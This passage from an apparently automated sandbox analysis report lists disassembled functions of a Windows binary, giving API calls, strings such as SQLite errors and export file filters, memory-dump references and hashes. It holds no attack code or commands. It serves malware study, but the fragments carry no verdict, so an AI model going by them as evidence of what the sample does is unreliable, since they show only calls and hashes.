                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(C:\Windows\system32,00000104), ref: 0040A841
                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000), ref: 0040A87B
                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 00404398
                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 004043AC
                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 004043BF
                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 004043D3
                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 004043E7
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressProc$Library$Load$DirectoryFreeSystemmemsetwcscatwcscpy
                                                                                            • String ID: advapi32.dll
                                                                                            • API String ID: 2012295524-4050573280
                                                                                            • Opcode ID: 65f3d33700ac9d510cc5e5eb6f652d35bee5e6265e8d5a0c26d000a27f9b730c
                                                                                            • Instruction ID: 6b6c0a27b71384d3bff991c3c7ca7c9b0301c8735f49a3ee57333cb8f9a5f734
                                                                                            • Opcode Fuzzy Hash: 65f3d33700ac9d510cc5e5eb6f652d35bee5e6265e8d5a0c26d000a27f9b730c
                                                                                            • Instruction Fuzzy Hash: 5F119470440700DDE6307F62EC0AF2777A4DF80714F104A3FE541565E1DBB8A8519AAD
                                                                                            Function 00410030 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            • <%s>, xrefs: 004100A6
                                                                                            • <?xml version="1.0" ?>, xrefs: 0041007C
                                                                                            • <?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00410083
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$_snwprintf
                                                                                            • String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
                                                                                            • API String ID: 3473751417-2880344631
                                                                                            • Opcode ID: 2b06e63593618d13b5a5b8efcda018c795261ff0c1630acf280f9998f6f819b8
                                                                                            • Instruction ID: 2862698e7f89dc449948c814091faf4507903f68b21858a7dbdf66e33a92e1a6
                                                                                            • Opcode Fuzzy Hash: 2b06e63593618d13b5a5b8efcda018c795261ff0c1630acf280f9998f6f819b8
                                                                                            • Instruction Fuzzy Hash: F501C8F2E402197BD720AA559C41FEAB6ACEF48345F0040B7B608B3151D6389F494B99
                                                                                            Function 0040A178 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: wcscat$_snwprintfmemset
                                                                                            • String ID: %2.2X
                                                                                            • API String ID: 2521778956-791839006
                                                                                            • Opcode ID: 31c2c2b958cbfb7d79e881a69437bc30ebdfa5a8327fe047e8a0291744cff554
                                                                                            • Instruction ID: 672bbb69153a15f1984629f72f86def8939f314c78adde6f8276b735d3b02408
                                                                                            • Opcode Fuzzy Hash: 31c2c2b958cbfb7d79e881a69437bc30ebdfa5a8327fe047e8a0291744cff554
                                                                                            • Instruction Fuzzy Hash: 2101D472A403297AF7206756AC46BBA33ACAB41714F11407BFC14AA1C2EA7C9A54469A
                                                                                            Function 0040D5D6 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _snwprintfwcscpy
                                                                                            • String ID: dialog_%d$general$menu_%d$strings
                                                                                            • API String ID: 999028693-502967061
                                                                                            • Opcode ID: 80a89c9967db9934379ab2cd2962a5087f7f7915bf37897dca38dc6723802d56
                                                                                            • Instruction ID: 4b5f4d23dee208ad245a1fa3262b8d520e9fbefe09054bf07968a47f6ed58b46
                                                                                            • Opcode Fuzzy Hash: 80a89c9967db9934379ab2cd2962a5087f7f7915bf37897dca38dc6723802d56
                                                                                            • Instruction Fuzzy Hash: 1AE04FB5E8870035E92519A10C03B2A155086A6B5BF740C2BFD0AB11D2E47F955DA40F
                                                                                            Function 0040C3C3 Relevance: 9.1, APIs: 6, Instructions: 109registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1AE
                                                                                              • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1B6
                                                                                              • Part of subcall function 00414592: RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                                                                                              • Part of subcall function 0040A9CE: free.MSVCRT ref: 0040A9DD
                                                                                            • memset.MSVCRT ref: 0040C439
                                                                                            • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                                                                                            • _wcsupr.MSVCRT ref: 0040C481
                                                                                              • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                              • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                              • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                              • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000001,?,00000000,?,?,0040AD76,?,000000FF), ref: 0040A94F
                                                                                            • memset.MSVCRT ref: 0040C4D0
                                                                                            • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,?), ref: 0040C508
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: free$EnumValuememset$CloseOpen_wcsuprmemcpywcslen
                                                                                            • String ID:
                                                                                            • API String ID: 4131475296-0
                                                                                            • Opcode ID: bbad7829663e404974ee36071e77aa52346e6492d823ab1d084cd5c9aca113c0
                                                                                            • Instruction ID: d2440758a7fd93b52fc88bd6111275bc9aa4df1ffeb01c53d5483546710cd2f3
                                                                                            • Opcode Fuzzy Hash: bbad7829663e404974ee36071e77aa52346e6492d823ab1d084cd5c9aca113c0
                                                                                            • Instruction Fuzzy Hash: A4411CB2900219BBDB00EF95DC85EEFB7BCAF48304F10417AB505F6191D7749A44CBA5
                                                                                            Function 004116DD Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 82COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 004116FF
                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D173
                                                                                              • Part of subcall function 0040D134: LoadStringW.USER32(00000000,0000000A,00000FFF,?), ref: 0040D20C
                                                                                              • Part of subcall function 0040D134: memcpy.MSVCRT(00000000,00000002), ref: 0040D24C
                                                                                              • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                              • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,?,0040EBBF,?,004126A8,00000000,00000000,?), ref: 0040D1E1
                                                                                              • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                                                                                              • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                                                                                              • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                                                                                              • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4D2
                                                                                              • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                                                                                              • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4F3
                                                                                              • Part of subcall function 0040A279: wcscpy.MSVCRT ref: 0040A2DF
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                                                                                            • String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
                                                                                            • API String ID: 2618321458-3614832568
                                                                                            • Opcode ID: 9944a9292e2920dba3aaf51766bf3ae0805637ffbeb5ceac454ead9757247a29
                                                                                            • Instruction ID: 2af34abd3473d77be096866f654b5876edf67c2d942e61680e34910f62553c8c
                                                                                            • Opcode Fuzzy Hash: 9944a9292e2920dba3aaf51766bf3ae0805637ffbeb5ceac454ead9757247a29
                                                                                            • Instruction Fuzzy Hash: 71310DB1D013589BDB10EFA9DC816DDBBB4FB08345F10407BE548BB282DB385A468F99
                                                                                            Function 004185CA Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AttributesFilefreememset
                                                                                            • String ID:
                                                                                            • API String ID: 2507021081-0
                                                                                            • Opcode ID: f626a43687866fd62cff7198848d6d3005aba6e6c292beb9a178d7ac8eb7ae81
                                                                                            • Instruction ID: e31a4ad29e7632976921f0390f19c15604a95804a640e9d04457ce0419b5f72c
                                                                                            • Opcode Fuzzy Hash: f626a43687866fd62cff7198848d6d3005aba6e6c292beb9a178d7ac8eb7ae81
                                                                                            • Instruction Fuzzy Hash: 1211E632A04115EFDB209FA49DC59FF73A8EB45318B21013FF911E2280DF789D8196AE
                                                                                            Function 004174F5 Relevance: 9.1, APIs: 6, Instructions: 61COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • AreFileApisANSI.KERNEL32 ref: 004174FC
                                                                                            • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041751A
                                                                                            • malloc.MSVCRT ref: 00417524
                                                                                            • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041753B
                                                                                            • free.MSVCRT ref: 00417544
                                                                                            • free.MSVCRT ref: 00417562
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWidefree$ApisFilemalloc
                                                                                            • String ID:
                                                                                            • API String ID: 4131324427-0
                                                                                            • Opcode ID: 5d21432bc65b929392c7d49bf17a02b877e07d349bc8417fbf8b7ee350a515ff
                                                                                            • Instruction ID: 8d188238c5fd2fb6163cec5331830b967abe0ebba74b79ef9884251e0929a2bc
                                                                                            • Opcode Fuzzy Hash: 5d21432bc65b929392c7d49bf17a02b877e07d349bc8417fbf8b7ee350a515ff
                                                                                            • Instruction Fuzzy Hash: 9701D4726081257BEB215B7A9C41DEF3AAEDF463B47210226FC14E3280EA38DD4141BD
                                                                                            Function 00418197 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetTempPathW.KERNEL32(000000E6,?,?,00417D63), ref: 004181DB
                                                                                            • GetTempPathA.KERNEL32(000000E6,?,?,00417D63), ref: 00418203
                                                                                            • free.MSVCRT ref: 0041822B
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: PathTemp$free
                                                                                            • String ID: %s\etilqs_$etilqs_
                                                                                            • API String ID: 924794160-1420421710
                                                                                            • Opcode ID: 15bc68a9d504a75b2650ebb6305fe60db7282026434a3c37ef8699a19a7f4611
                                                                                            • Instruction ID: b359b55a6514fc6c55a0405950767d5f88b37029f74eadb26d8a0dc7501745d5
                                                                                            • Opcode Fuzzy Hash: 15bc68a9d504a75b2650ebb6305fe60db7282026434a3c37ef8699a19a7f4611
                                                                                            • Instruction Fuzzy Hash: 43313931A046169BE725A3669C41BFB735C9B64308F2004AFE881C2283EF7CDEC54A5D
                                                                                            Function 00431671 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 231COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            • unknown column "%s" in foreign key definition, xrefs: 00431858
                                                                                            • foreign key on %s should reference only one column of table %T, xrefs: 004316CD
                                                                                            • number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 004316F5
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpy
                                                                                            • String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
                                                                                            • API String ID: 3510742995-272990098
                                                                                            • Opcode ID: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                                                                                            • Instruction ID: d29657cdd308451ad819b70b0710bc7d1770ace047979dc07f2e4ef1020519d4
                                                                                            • Opcode Fuzzy Hash: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                                                                                            • Instruction Fuzzy Hash: B7913E75A00205DFCB14DF99C481AAEBBF1FF49314F25815AE805AB312DB35E941CF99
                                                                                            Function 0044A6E0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 84COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0044A6EB
                                                                                            • memset.MSVCRT ref: 0044A6FB
                                                                                            • memcpy.MSVCRT(?,?,?,00000000,?,?,00000000,?,?,00000000), ref: 0044A75D
                                                                                            • memcpy.MSVCRT(?,?,?,?,?,00000000,?,?,00000000), ref: 0044A7AA
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpymemset
                                                                                            • String ID: gj
                                                                                            • API String ID: 1297977491-4203073231
                                                                                            • Opcode ID: 89e2b4c479d66d8f351294c0966a75ef3485227debcc485d945bfba73828c7b8
                                                                                            • Instruction ID: b45f8a370873a883e9703370fbfe8b0477d3556cf02d11e6db591a78d085f858
                                                                                            • Opcode Fuzzy Hash: 89e2b4c479d66d8f351294c0966a75ef3485227debcc485d945bfba73828c7b8
                                                                                            • Instruction Fuzzy Hash: 95213DB67403002BE7209A39CC4165B7B6D9FC6318F0A481EF6464B346E67DD605C756
                                                                                            Function 0041748F Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • AreFileApisANSI.KERNEL32 ref: 00417497
                                                                                            • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 004174B7
                                                                                            • malloc.MSVCRT ref: 004174BD
                                                                                            • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 004174DB
                                                                                            • free.MSVCRT ref: 004174E4
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWide$ApisFilefreemalloc
                                                                                            • String ID:
                                                                                            • API String ID: 4053608372-0
                                                                                            • Opcode ID: 26b6d0d827bb447631a2da2f7ad9fad7d37cc7249bf214c4621a9d0d58d44de2
                                                                                            • Instruction ID: 68224c9aa4b31b20fa5037399352f9c2f04b40a845063e8f60522cdb36b448b3
                                                                                            • Opcode Fuzzy Hash: 26b6d0d827bb447631a2da2f7ad9fad7d37cc7249bf214c4621a9d0d58d44de2
                                                                                            • Instruction Fuzzy Hash: DE01A4B150412DBEAF115FA99C80CAF7E7CEA463FC721422AF514E2290DA345E405AB9
                                                                                            Function 0040D441 Relevance: 7.5, APIs: 5, Instructions: 49COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetParent.USER32(?), ref: 0040D453
                                                                                            • GetWindowRect.USER32(?,?), ref: 0040D460
                                                                                            • GetClientRect.USER32(00000000,?), ref: 0040D46B
                                                                                            • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0040D47B
                                                                                            • SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 0040D497
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$Rect$ClientParentPoints
                                                                                            • String ID:
                                                                                            • API String ID: 4247780290-0
                                                                                            • Opcode ID: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                                                                                            • Instruction ID: 8744084584fea1eb3916f9079d499296a2dd08f7759f51c0708cf8f54c9212ed
                                                                                            • Opcode Fuzzy Hash: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                                                                                            • Instruction Fuzzy Hash: 62018836801129BBDB11EBA6CC49EFFBFBCFF06310F048069F901A2180D778A5018BA5
                                                                                            Function 00445093 Relevance: 7.5, APIs: 5, Instructions: 46COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                            • GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                                                                                            • ??2@YAPAXI@Z.MSVCRT(0000000A,?,?,00000104), ref: 004450BE
                                                                                            • memset.MSVCRT ref: 004450CD
                                                                                              • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                            • ??3@YAXPAX@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000104), ref: 004450F0
                                                                                              • Part of subcall function 00444E84: memchr.MSVCRT ref: 00444EBF
                                                                                              • Part of subcall function 00444E84: memcpy.MSVCRT(?,0044EB0C,0000000B,?,?,?,00000000,00000000,00000000), ref: 00444F63
                                                                                              • Part of subcall function 00444E84: memcpy.MSVCRT(?,00000001,00000008,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00444F75
                                                                                              • Part of subcall function 00444E84: memcpy.MSVCRT(?,?,00000010,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00444F9D
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,00000104), ref: 004450F7
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Filememcpy$??2@??3@CloseCreateHandleReadSizememchrmemset
                                                                                            • String ID:
                                                                                            • API String ID: 1471605966-0
                                                                                            • Opcode ID: edfdfd5907517e88f4142de78b3de7a943e3e7aedefbd09b5ff7bb7402004b57
                                                                                            • Instruction ID: af7e2442fb2a0afe256a59df9b01c6fa6c67666c78107f96d02934f32f814c95
                                                                                            • Opcode Fuzzy Hash: edfdfd5907517e88f4142de78b3de7a943e3e7aedefbd09b5ff7bb7402004b57
                                                                                            • Instruction Fuzzy Hash: D8F0C2765002107BE5207736AC8AEAB3A5CDF96771F11893FF416921D2EE698814C1BD
                                                                                            Function 004100D7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 004100FB
                                                                                            • memset.MSVCRT ref: 00410112
                                                                                              • Part of subcall function 0040F5BE: wcscpy.MSVCRT ref: 0040F5C3
                                                                                              • Part of subcall function 0040F5BE: _wcslwr.MSVCRT ref: 0040F5FE
                                                                                            • _snwprintf.MSVCRT ref: 00410141
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$_snwprintf_wcslwrwcscpy
                                                                                            • String ID: </%s>
                                                                                            • API String ID: 3400436232-259020660
                                                                                            • Opcode ID: 5b9d86c37e8fc893e623c972aadbd746c4d139f4edb44e4e662c1ed71a902018
